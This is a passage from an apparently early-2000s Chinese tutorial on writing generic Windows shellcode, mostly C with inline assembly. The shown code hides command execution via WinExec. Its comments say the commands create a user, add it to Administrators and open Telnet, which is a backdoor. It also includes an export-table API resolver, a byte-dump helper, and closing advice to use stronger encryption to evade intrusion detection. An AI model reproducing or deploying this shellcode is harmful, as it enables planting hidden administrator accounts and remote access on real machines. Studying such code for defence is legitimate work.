PUTCOMMAND_OPENTLNT:
pop CMD[COMMAND_OPENTLNT* 4]
}
//__asm int 3//在Release版本中使用断点
//6,执行命令新建用户,如果权限够就将用户加入Administrators,再开启标准的Telnet服务
for(i=COMMAND_START;i<=COMMAND_END;i++)
API[WINEXEC](CMD[i],SW_HIDE);
/*
我们已经引入了一些常用的KERNEL API和WINSOCK API,可以在这里进行更深入的开发(比如我们可以使用WinSock自己实现一个Teln
et服务端).
*/
API[EXITPROCESS](0);//使用ExitProcess来退出ShellCode以减少错误
__asm
{
/*
子程序FindApi,由我前面讲解的GetFunctionByName修改得到
入口参数:
ImageBase:DLL
基址
FuncName:需要查找的引出函数名
flen:引出函数名长度,在不会出现重复的情况下可以比引出函数名短一点
Count:引出函数地址索引起始,通常应该把它设为0.
出口参数:
如果查找则成功Eax返回有效的函数地址,否则返回0
*/
FindApi:
mov eax,ImageBase
add eax,0x3c//指向PE头部偏移值e_lfanew
mov eax,[eax]//取得e_lfanew值
add eax,ImageBase//指向PE header
cmp [eax],0x00004550
jne NotFound//如果ImageBase句柄有错
mov PE,eax
mov eax,[eax+0x78]
add eax,ImageBase//指向IMAGE_EXPORT_DIRECTORY
mov [IED],eax
mov eax,[eax+0x20]
add eax,ImageBase
mov FunNameArray,eax//保存函数名称指针数组的指针值
mov ecx,[IED]
mov ecx,[ecx+0x14]//根据引出函数个数NumberOfFunctions设置最大查找次数
FindLoop:
push ecx//使用一个小技巧,使用程序循环更简单
mov eax,[eax]
add eax,ImageBase
mov esi,FuncName
mov edi,eax
mov ecx,flen//逐个字符比较,如果相同则为找到函数,注意这里的ecx值
cld
rep cmpsb
jne FindNext//如果当前函数不是指定的函数则查找下一个
add esp,4//如果查找成功,则清除用于控制外层循环而压入的Ecx,准备返回
mov eax,[IED]
mov eax,[eax+0x1c]
add eax,ImageBase//获得函数地址表
shl Count,2//根据函数索引计算函数地址指针=函数地址表基址+(函数索引*4)
add eax,Count
mov eax,[eax]//获得函数地址相对偏移量
add eax,ImageBase//计算函数真实地址,并通过Eax返回给调用者
jmp Found
FindNext:
inc Count//记录函数索引
add [FunNameArray],4//下一个函数名指针
mov eax,FunNameArray
pop ecx//恢复压入的ecx(NumberOfFunctions),进行计数循环
loop FindLoop//如果ecx不为0则递减并回到FindLoop,往后查找
NotFound:
xor eax,eax//如果没有找到,则返回0
Found:
ret
//ShellCode结束标识符
_emit '*'
_emit '*'
}
}
void AboutMe(void)
{
printf("\t++++++++++++++++++++++++++++++++++\n");
printf("\t+ ShellCode Demo! +\n");
printf("\t+ Code by yellow +\n");
printf("\t+ Date:2003-12-21 +\n");
printf("\t+ Email:yellow@ +\n");
printf("\t+ Home Page: +\n");
printf("\t++++++++++++++++++++++++++++++++++\n");
}
void printsc(unsigned char *sc)
{
int x=0;
printf("unsigned char shellcode[]={");
while(1)
{
if ((*sc=='*')&&(*(sc+1)=='*')) break;
if(!(x++%10)) printf("\n\t");
printf("0x%0.2X,",*sc++);
}
printf("\n};\nTotal %d Bytes\r\n",x+1);
}
int main(void)
{
unsigned char *p=ShellCodeFun;
unsigned int k=0;
if(*p==0xe9)
{
k=*(unsigned int*)(++p);
(int)p+=k;
(int)p+=4;
}
printsc(p);
AboutMe();
getch();
}
//////////
//////////////////////////////////////////////////
注意我在这里我没有演示ShellCode加密技术,现在的ShellCode加密大都都xor之类的操作,基本上比较简单,但为了逃避"入侵检测系统"的查杀还是应该使用比
较好的加密方法,我想以后可能会写一些相关的技术文章吧!
Ok!已经演示了这么多,我想你的收获一定不小吧!俗话说的好"师傅领进门,修行在个人",ShellCode最关键的技术我们已经掌握了,至于怎么去实现一个功能丰富的ShellCode就看你自己的开发技术和经验了!
最后
当我初学ShellCode编写技术时,对于没有能让初学者入门的ShellCode教程可以参考而感到烦恼,所以在我完成PE和KERNEL32地址获得方法学习后,就立刻写了这篇文章,希望对广大初学者有所帮助!眼看快要到圣诞节,yellow在这里初大家圣诞节快乐,永远开心,永远年轻!愿中国的安全技术更上一层楼!
4,参考资料.
<MSDN>
<Windows 核心编
程>
<Windows 95系统程序设计大奥秘>
<Win32Asm Programming>
5,关键字:
通用ShellCode,黑客编程技术,PE引出表,KERNEL32.DLL地址,结构化异常处理,SEH,溢出,overflow,中华安全网